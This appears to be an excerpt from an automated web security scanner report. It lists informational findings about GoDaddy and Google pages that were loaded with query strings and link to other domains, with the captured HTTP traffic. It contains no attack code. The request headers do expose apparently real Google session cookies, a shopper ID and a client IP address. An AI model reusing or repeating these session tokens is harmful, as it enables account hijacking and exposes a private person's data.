DNS, URL, web address, internet address, web site name, bulk domain registration, buy domain, private domain registration, bulk price, .com, .net, .org, Go Daddy.com, Go Daddy, godaddy.com, godaddy">
<link rel="shortcut icon" href="http://imagesak.securepaynet.net/assets/godaddy.ico">
<link rel="stylesheet" type="text/css" href="http://img2.wsimg.com/pc_css/1/gd_20110906_http.min.css" /><link rel="stylesheet" type="text/css" href="http://imagesak.securepaynet.net/css/20090113_1.css">

<style type="text/css">
...[SNIP]...
<body bgcolor="#FFFFFF" topmargin="0" leftmargin="0" marginheight="0" marginwidth="0" style="text-align:left; margin:0;">
<script src="http://imagesak.securepaynet.net/AtlantisScripts/jquery/jquery-1.3.1.min.js" type="text/javascript"></script><div style="position:absolute;top:0;left:0;width:1px;height:1px;"><img src="http://imagesak.securepaynet.net/assets/spc_trans.gif" border="0" width="1" height="1" alt="Welcome to Go Daddy Software. If you are visually impaired and would like to check the availability of a domain, make a purchase, or just have questions please call us at (480) 505-8877. You may also email us at support@godaddy.com to request a website service callback.. We are currently in the process of implementing more accessibility for our visitors so feel free to check back in the near future..Thank you for your interest in our company."></div>
...[SNIP]...

<script type="text/javascript" language="javascript" src="http://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js"></script>
...[SNIP]...
<li title="Bob Parsons Blog" onclick="pcj_lnkPop('http://www.bobparsons.me/index.php?ci=13338&id=-1', '_blank'); return false;"><a href="http://www.bobparsons.me/index.php?id=-1">Bob's Video Blog</a>
...[SNIP]...
<strong><a href="https://login.secureserver.net/index.php">
Check My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/">
Check My Webmail</a>
...[SNIP]...
<span id="search_source" onmouseover="ShowHelp(this,'search',false)" style="cursor: pointer;" onmouseout="ShowHelp(this,'search',true)"><img height=13 hspace=4 src="http://imagesak.securepaynet.net/aaa/help/1/icn_quickhelp.gif" width=13 align=absMiddle border=0></span>
...[SNIP]...
<div class="div_cols">
<a href="https://login.secureserver.net/index.php?ci=17195&prog_id=GoDaddy&app=wbe" target="_blank">Webmail</a>
...[SNIP]...
</b> or cause that you believe Go Daddy should
support, visit <a style="color:blue;text-decoration:underline;font-size:12px;" href="http://www.godaddycares.com" onclick="pcj_win('http://img.godaddy.com/redirect.aspx?ci=42374&target=http%3a%2f%2fwww.godaddycares.com'); return false;">GoDaddyCares.com</a>
...[SNIP]...

15.56. http://www.godaddy.com/offers/hot-deals2.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/offers/hot-deals2.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://www.godaddy.com/offers/hot-deals2.aspx?ci=51455

The response contains the following links to other domains:

http://img1.wsimg.com/assets/godaddy.ico
http://img2.wsimg.com/fos/css/1/sales_http_20110711.css
http://img2.wsimg.com/pc_css/1/gd_20110906_http.min.css
http://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.5.1.min.js
http://img3.wsimg.com/fastball/js_lib/FastballLibrary0006.js?version=2
http://img3.wsimg.com/fos/script/atlantis_jquery9.min.js
http://img3.wsimg.com/fos/script/sales16.min.js
http://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js
http://www.bobparsons.me/index.php?id=-1
http://www.godaddycares.com/
https://email.secureserver.net/
https://login.secureserver.net/index.php
https://login.secureserver.net/index.php?isc=d0d8de1c80&ci=17195&prog_id=GoDaddy&app=wbe

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:35 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=http://www.godaddy.com/domains/search.aspx&sitename=www.godaddy.com&page=/offers/hot-deals2.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=ci=51455&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:08:34 GMT
Content-Length: 91861

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><link rel="Stylesheet" type="text/css" href="http://img2.wsimg.com/fos/css/1/sales_http_20110711.css" /><title>
...[SNIP]...
<meta http-equiv="Pragma" content="no-cache" /><link rel="Stylesheet" type="text/css" href="http://img2.wsimg.com/pc_css/1/gd_20110906_http.min.css" />

<style type="text/css">
...[SNIP]...
DNS, URL, web address, internet address, web site name, bulk domain registration, buy domain, private domain registration, bulk price, .com, .net, .org, Go Daddy.com, Go Daddy, godaddy.com, godaddy" /><link rel="shortcut icon" href="http://img1.wsimg.com/assets/godaddy.ico" /></head>
<body id="ctl00_PageBody" style="width:100%;margin:0;">

<script src="http://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.5.1.min.js" type="text/javascript"></script>
...[SNIP]...


<script type="text/javascript" language="javascript" src="http://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js"></script>
...[SNIP]...
<li title="Bob Parsons Blog" onclick="pcj_lnkPop('http://www.bobparsons.me/index.php?isc=d0d8de1c80&ci=13338&id=-1', '_blank'); return false;"><a href="http://www.bobparsons.me/index.php?id=-1">Bob's Video Blog</a>
...[SNIP]...
<strong><a href="https://login.secureserver.net/index.php">
Check My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/">
Check My Webmail</a>
...[SNIP]...
<div class="div_cols">
<a href="https://login.secureserver.net/index.php?isc=d0d8de1c80&ci=17195&prog_id=GoDaddy&app=wbe" target="_blank">Webmail</a>
...[SNIP]...
</b> or cause that you believe Go Daddy should
support, visit <a style="color:blue;text-decoration:underline;font-size:12px;" href="http://www.godaddycares.com" onclick="pcj_win('http://img.godaddy.com/redirect.aspx?isc=d0d8de1c80&ci=42374&target=http%3a%2f%2fwww.godaddycares.com'); return false;">GoDaddyCares.com</a>
...[SNIP]...
</div>


<script src="http://img3.wsimg.com/fastball/js_lib/FastballLibrary0006.js?version=2" type="text/javascript"></script>

<script src="http://img3.wsimg.com/fos/script/sales16.min.js" type="text/javascript"></script>


<script src="http://img3.wsimg.com/fos/script/atlantis_jquery9.min.js" type="text/javascript"></script>
...[SNIP]...

15.57. http://www.godaddy.com/productadvisor/pastart.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/productadvisor/pastart.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://www.godaddy.com/productadvisor/pastart.aspx?ci=13108

The response contains the following links to other domains:

http://img1.wsimg.com/assets/godaddy.ico
http://img2.wsimg.com/fos/css/1/sales_http_20110711.css
http://img2.wsimg.com/pc_css/1/gd_20110906_http.min.css
http://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.2.min.js
http://img3.wsimg.com/fastball/js_lib/FastballLibrary0006.js?version=2
http://img3.wsimg.com/fos/script/ProductAdvisor5.min.js
http://img3.wsimg.com/fos/script/sales16.min.js
http://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js
http://www.bobparsons.me/index.php?id=-1
http://www.godaddycares.com/
https://email.secureserver.net/
https://login.secureserver.net/index.php
https://login.secureserver.net/index.php?ci=17195&prog_id=GoDaddy&app=wbe

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:07:38 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=http://www.godaddy.com/gdshop/site_search.asp?ci=9104&pageNum=1&searchFor=xss&sitename=www.godaddy.com&page=/productadvisor/pastart.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=ci=13108&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=2a590ae0-0ee8-47bd-8061-af016da64611&referringdomain=&split=19; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:07:38 GMT
Content-Length: 85339

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><link rel="Stylesheet" type="text/css" href="http://img2.wsimg.com/fos/css/1/sales_http_20110711.css" /><title>
...[SNIP]...
<meta http-equiv="Pragma" content="no-cache" /><link rel="Stylesheet" type="text/css" href="http://img2.wsimg.com/pc_css/1/gd_20110906_http.min.css" />
<meta name="description" content="Register & transfer domains for less. Reliable hosting. Easy-to-use site builders. Affordable SSL certificates. eCommerce solutions. ICANN-accredited." />
...[SNIP]...
S, URL, web address, internet address, web site name, bulk domain registration, buy domain, private domain registration, bulk price, .com, .net, .org, Go Daddy.com, Go Daddy, godaddy.com, godaddy" />
<link rel="shortcut icon" href="http://img1.wsimg.com/assets/godaddy.ico" /></head>
<body id="ctl00_PageBody" style="width:100%;margin:0;">

<script src="http://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.2.min.js" type="text/javascript"></script>
...[SNIP]...
start.aspx&referrer=http%3a%2f%2fwww.godaddy.com%2fgdshop%2fsite_search.asp%3fci%3d9104%26pageNum%3d1%26searchFor%3dxss&ci=13108&split=19&querystring=ci%3d13108" alt="" class="traffic" />

<script src="http://img3.wsimg.com/fos/script/ProductAdvisor5.min.js" type="text/javascript"></script>
...[SNIP]...


<script type="text/javascript" language="javascript" src="http://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js"></script>
...[SNIP]...
<li title="Bob Parsons Blog" onclick="pcj_lnkPop('http://www.bobparsons.me/index.php?ci=13338&id=-1', '_blank'); return false;"><a href="http://www.bobparsons.me/index.php?id=-1">Bob's Video Blog</a>
...[SNIP]...
<strong><a href="https://login.secureserver.net/index.php">
Check My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/">
Check My Webmail</a>
...[SNIP]...
<div class="div_cols">
<a href="https://login.secureserver.net/index.php?ci=17195&prog_id=GoDaddy&app=wbe" target="_blank">Webmail</a>
...[SNIP]...
</b> or cause that you believe Go Daddy should
support, visit <a style="color:blue;text-decoration:underline;font-size:12px;" href="http://www.godaddycares.com" onclick="pcj_win('http://img.godaddy.com/redirect.aspx?ci=42374&target=http%3a%2f%2fwww.godaddycares.com'); return false;">GoDaddyCares.com</a>
...[SNIP]...
</div>

<script src="http://img3.wsimg.com/fastball/js_lib/FastballLibrary0006.js?version=2" type="text/javascript"></script>

<script src="http://img3.wsimg.com/fos/script/sales16.min.js" type="text/javascript"></script>
...[SNIP]...

15.58. http://www.google.com/search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/search

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server

The response contains the following links to other domains:

http://communication.howstuffworks.com/email3.htm
http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol
http://lifehacker.com/111166/how-to-use-gmail-as-your-smtp-server
http://webcache.googleusercontent.com/search?q=cache:2uq5tkNaFvgJ:www.webopedia.com/TERM/S/SMTP.html+smtp+server&cd=9&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:8UfsCPZeRrQJ:en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol+smtp+server&cd=1&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:8fIoCebDL4oJ:www.microsoft.com/technet/prodtechnol/windowsserver2003/library/iis/e4cf06f5-9a36-474b-ba78-3f287a2b88f2.mspx+smtp+server&cd=6&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:8tN-6O5YQwEJ:www.softstack.com/freesmtp.html+smtp+server&cd=2&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:H5uAeVaDRpkJ:communication.howstuffworks.com/email3.htm+smtp+server&cd=5&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:faeuaZLeMQMJ:www.e-eeasy.com/SMTPServerList.aspx+smtp+server&cd=7&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:ixFjMaj2hRQJ:www.smtp2go.net/+smtp+server&cd=8&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:jakA2PelyW4J:www.smtpserverlist.com/+smtp+server&cd=4&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:sEpFo8yhwosJ:www.smtp2go.com/+smtp+server&cd=10&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:wce_WzWZsRkJ:lifehacker.com/111166/how-to-use-gmail-as-your-smtp-server+smtp+server&cd=3&hl=en&ct=clnk&gl=us
http://www.e-eeasy.com/SMTPServerList.aspx
http://www.microsoft.com/technet/prodtechnol/windowsserver2003/library/iis/e4cf06f5-9a36-474b-ba78-3f287a2b88f2.mspx
http://www.smtp2go.com/
http://www.smtp2go.net/
http://www.smtpserverlist.com/
http://www.softstack.com/advsmtp.html
http://www.softstack.com/download.html
http://www.softstack.com/freesmtp.html
http://www.softstack.com/scrfreesmtp.html
http://www.webopedia.com/TERM/S/SMTP.html
http://www.youtube.com/results?q=smtp+server&um=1&ie=UTF-8&sa=N&hl=en&tab=w1

Request

GET /search?sourceid=chrome&ie=UTF-8&q=smtp+server HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; SID=DQAAAO4AAAD7Xl0oDS_3Xy0JKwYeKgRjMbxp0c2W5DSFLy2Y9JkSJYmKvv1nBof0akZrOA6irTQl8KxP9Eoae06RbjzCClA25MRuVFdF6rXzUkh8SKGCxg1rw75hUuF-Q6Hfpq5C54hAzhRx-AmmtuoAFnzNK8zWfOVJpa_QelYHWpLFQHbnPZSoTt-oYFQ8FvrjsTQtOrrTGqDw6xFuT1mXvxsUuamUyR2icH4Fzc2kSrnlcFORO_n1bWSW0aN0HPNXtAVlbrIKfpZOlzJv9hO2NdES_xUtKqOl4j7gqJr7lekB4ZGb18ynomXsS5lHVunDhfYOlCo; NID=51=OfIpxrXVO5NSaLscWANYTdJ6wK00cMsAk4v9TJrRXGHdy1F4BPsM-1wczJOe1wJItW5A5zxEQcMb9fALGgEiafj_Zx-hNW74w3p8LNx501XJMZ_JLwMORpu5plDcGMX3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:26:26 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Get-Dictionary: /sdch/sXoKgwNA.dct
Server: gws
X-XSS-Protection: 1; mode=block
Content-Length: 127957

<!doctype html> <head> <title>smtp server - Google Search</title> <script>window.google={kEI:"ompzTrfNAaTniAKi8eCzAg",getEI:function(a){var b;while(a&&!(a.getAttribute&&(b=a.getAttribute("eid")
...[SNIP]...
<li class=gbmtc><a onclick=gbar.qs(this) class=gbmt id=gb_36 href="http://www.youtube.com/results?q=smtp+server&um=1&ie=UTF-8&sa=N&hl=en&tab=w1" onclick="gbar.logger.il(1,{t:36})">YouTube</a>
...[SNIP]...
<h3 class="r"><a href="http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol" class=l onmousedown="return clk(this,this.href,'','','','1','','0CHAQFjAA')">Simple Mail Transfer Protocol - Wikipedia, the free encyclopedia</a>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:8UfsCPZeRrQJ:en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol+smtp+server&cd=1&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','1','','0CHMQIDAA')">Cached</a>
...[SNIP]...
<div class=osl><a href="http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#History" onmousedown="return clk(this,this.href,'','','','1','','0CHUQ0gIoADAA')">History</a> - <a href="http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#Mail_processing_model" onmousedown="return clk(this,this.href,'','','','1','','0CHYQ0gIoATAA')">Mail processing model</a> - <a href="http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#Protocol_overview" onmousedown="return clk(this,this.href,'','','','1','','0CHcQ0gIoAjAA')">Protocol overview</a> - <a href="http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#Outgoing_mail_SMTP_server" onmousedown="return clk(this,this.href,'','','','1','','0CHgQ0gIoAzAA')">Outgoing mail SMTP server</a>
...[SNIP]...
<h3 class="r"><a href="http://www.softstack.com/freesmtp.html" class=l onmousedown="return clk(this,this.href,'','','','2','','0CH8QFjAB')">Free <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:8tN-6O5YQwEJ:www.softstack.com/freesmtp.html+smtp+server&cd=2&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','2','','0CIIBECAwAQ')">Cached</a>
...[SNIP]...
<div class=osl><a href="http://www.softstack.com/scrfreesmtp.html" onmousedown="return clk(this,this.href,'','','','2','','0CIQBENICKAAwAQ')">Screenshot</a> - <a href="http://www.softstack.com/download.html" onmousedown="return clk(this,this.href,'','','','2','','0CIUBENICKAEwAQ')">Password & Security Free Download</a> - <a href="http://www.softstack.com/advsmtp.html" onmousedown="return clk(this,this.href,'','','','2','','0CIYBENICKAIwAQ')">Advanced SMTP Server</a>
...[SNIP]...
<h3 class="r"><a href="http://lifehacker.com/111166/how-to-use-gmail-as-your-smtp-server" class=l onmousedown="return clk(this,this.href,'','','','3','','0CIsBEBYwAg')">How to use Gmail as your <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:wce_WzWZsRkJ:lifehacker.com/111166/how-to-use-gmail-as-your-smtp-server+smtp+server&cd=3&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','3','','0CI4BECAwAg')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.smtpserverlist.com/" class=l onmousedown="return clk(this,this.href,'','','','4','','0CJIBEBYwAw')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:jakA2PelyW4J:www.smtpserverlist.com/+smtp+server&cd=4&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','4','','0CJUBECAwAw')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://communication.howstuffworks.com/email3.htm" class=l onmousedown="return clk(this,this.href,'','','','5','','0CJoBEBYwBA')">HowStuffWorks "The <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:H5uAeVaDRpkJ:communication.howstuffworks.com/email3.htm+smtp+server&cd=5&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','5','','0CKABECAwBA')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.microsoft.com/technet/prodtechnol/windowsserver2003/library/iis/e4cf06f5-9a36-474b-ba78-3f287a2b88f2.mspx" class=l onmousedown="return clk(this,this.href,'','','','6','','0CKUBEBYwBQ')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:8fIoCebDL4oJ:www.microsoft.com/technet/prodtechnol/windowsserver2003/library/iis/e4cf06f5-9a36-474b-ba78-3f287a2b88f2.mspx+smtp+server&cd=6&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','6','','0CKsBECAwBQ')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.e-eeasy.com/SMTPServerList.aspx" class=l onmousedown="return clk(this,this.href,'','','','7','','0CLABEBYwBg')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:faeuaZLeMQMJ:www.e-eeasy.com/SMTPServerList.aspx+smtp+server&cd=7&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','7','','0CLMBECAwBg')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.smtp2go.net/" class=l onmousedown="return clk(this,this.href,'','','','8','','0CLgBEBYwBw')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:ixFjMaj2hRQJ:www.smtp2go.net/+smtp+server&cd=8&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','8','','0CLsBECAwBw')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.webopedia.com/TERM/S/SMTP.html" class=l onmousedown="return clk(this,this.href,'','','','9','','0CL8BEBYwCA')">What is <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:2uq5tkNaFvgJ:www.webopedia.com/TERM/S/SMTP.html+smtp+server&cd=9&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','9','','0CMIBECAwCA')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.smtp2go.com/" class=l onmousedown="return clk(this,this.href,'','','','10','','0CMcBEBYwCQ')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:sEpFo8yhwosJ:www.smtp2go.com/+smtp+server&cd=10&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','10','','0CMoBECAwCQ')">Cached</a>
...[SNIP]...

15.59. http://www.google.com/search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/search

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=godaddy+hack

The response contains the following link to another domain:

http://www.dailymotion.com/video/x94fzn_godaddy-hack-get-2-domains-for-free_techs5..z6568986688430671402','','7','','0CFAQtwIwBg')

Request

GET /search?sourceid=chrome&ie=UTF-8&q=godaddy+hack HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Avail-Dictionary: sXoKgwNA
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; NID=51=sK4D6Ekqiq5x2aIbfG65p0N2bY_ck2S7XMaUrDs_B5DJ1iJfkQNtuQI8wOg2lKG4sBjrjWXSg7pA0iwTqjrJ-gxxWdfY8fs1gpCmxlTKp0PssKiWQtHPYPS35cLQE0Df; SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjLggJuPZagSb_-dzKijS1WNMY9j-KLCCbIkdL5gFUKxj425Av1q5M48IS5j1lYOObs1zt7iBSUPDIs8jDHA7BNSVBwNR2nv_wfJPRoa5UYs7rUEP3-cdk3lbIVVG7eniEMusm6ux7K_9KyH7qPXchvacU1HerezJNMU_4wP5jYYqqnYQQmTLUmsqdiiIkvWpvD7gxzfPW2Y7ijG9aRGGBnwWnoSSqmkJqo5RS7cgEFhp_Lzt2RC_Uv98s0HAymWMstKwJjU4OCemwWpmfSMU83cZ-hazCj5scCqbY8o2nlC4

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:06:22 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Server: gws
X-XSS-Protection: 1; mode=block
Content-Length: 28373

NKGaDyNz....S....%..1.._...$.....$s#.godaddy hack.7#..HpBzTu6iNKzdiALbydizAgC..K...30316,30541,30694,31215,31702,31775,31795,32034,32412,32505,32566,32804",kCSI:{e:"28936,30316,30541,30694,31215,3170
...[SNIP]...
<h3 class=r><a href="http://www.dailymotion.com/video/x94fzn_godaddy-hack-get-2-domains-for-free_techs5..z6568986688430671402','','7','','0CFAQtwIwBg')">Dailymotion - <em>
...[SNIP]...

15.60. http://www.google.com/search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/search

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=godaddy+hack

The response contains the following links to other domains:

http://blog.sucuri.net/2010/05/second-round-of-godaddy-sites-hacked.html
http://blogcastfm.com/announcements/warning-massive-number-of-godaddy-wordpress-blogs-hacked-this-weekend/
http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/
http://theandystratton.com/2010/godaddy-shared-linux-hosting-hack-fix
http://webcache.googleusercontent.com/search?q=cache:9ChWSESVTPkJ:www.zdnet.com/blog/ou/godaddy-hosting-customers-victim-to-massive-hack/239+godaddy+hack&cd=3&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:E9DHuWrQGU4J:theandystratton.com/2010/godaddy-shared-linux-hosting-hack-fix+godaddy+hack&cd=9&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:IgwrKnXkR2MJ:blog.sucuri.net/2010/05/second-round-of-godaddy-sites-hacked.html+godaddy+hack&cd=2&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:KpaDP6wa_H8J:www.blogtips.org/godaddy-sites-hacked-again/+godaddy+hack&cd=4&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:N0i3F2vY_nMJ:www.techrepublic.com/forum/discussions/8-195624+godaddy+hack&cd=8&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:n18vlu4qVDsJ:www.tgdaily.com/security-features/49744-go-daddy-counters-php-hack-attacks+godaddy+hack&cd=1&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:ruWFRAUj5a4J:smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/+godaddy+hack&cd=6&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:tYBKn3h7_MEJ:www.wpsecuritylock.com/breaking-news-wordpress-hacked-with-holasionweb-on-go-daddy/+godaddy+hack&cd=10&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:w5I-7p9tXKoJ:blogcastfm.com/announcements/warning-massive-number-of-godaddy-wordpress-blogs-hacked-this-weekend/+godaddy+hack&cd=5&hl=en&ct=clnk&gl=us
http://www.blogtips.org/godaddy-sites-hacked-again/
http://www.dailymotion.com/video/x94fzn_godaddy-hack-get-2-domains-for-free_tech
http://www.techrepublic.com/forum/discussions/8-195624
http://www.tgdaily.com/security-features/49744-go-daddy-counters-php-hack-attacks
http://www.wpsecuritylock.com/breaking-news-wordpress-hacked-with-holasionweb-on-go-daddy/
http://www.youtube.com/results?q=godaddy+hack&um=1&ie=UTF-8&sa=N&hl=en&tab=w1
http://www.zdnet.com/blog/ou/godaddy-hosting-customers-victim-to-massive-hack/239

Request

GET /search?sourceid=chrome&ie=UTF-8&q=godaddy+hack HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
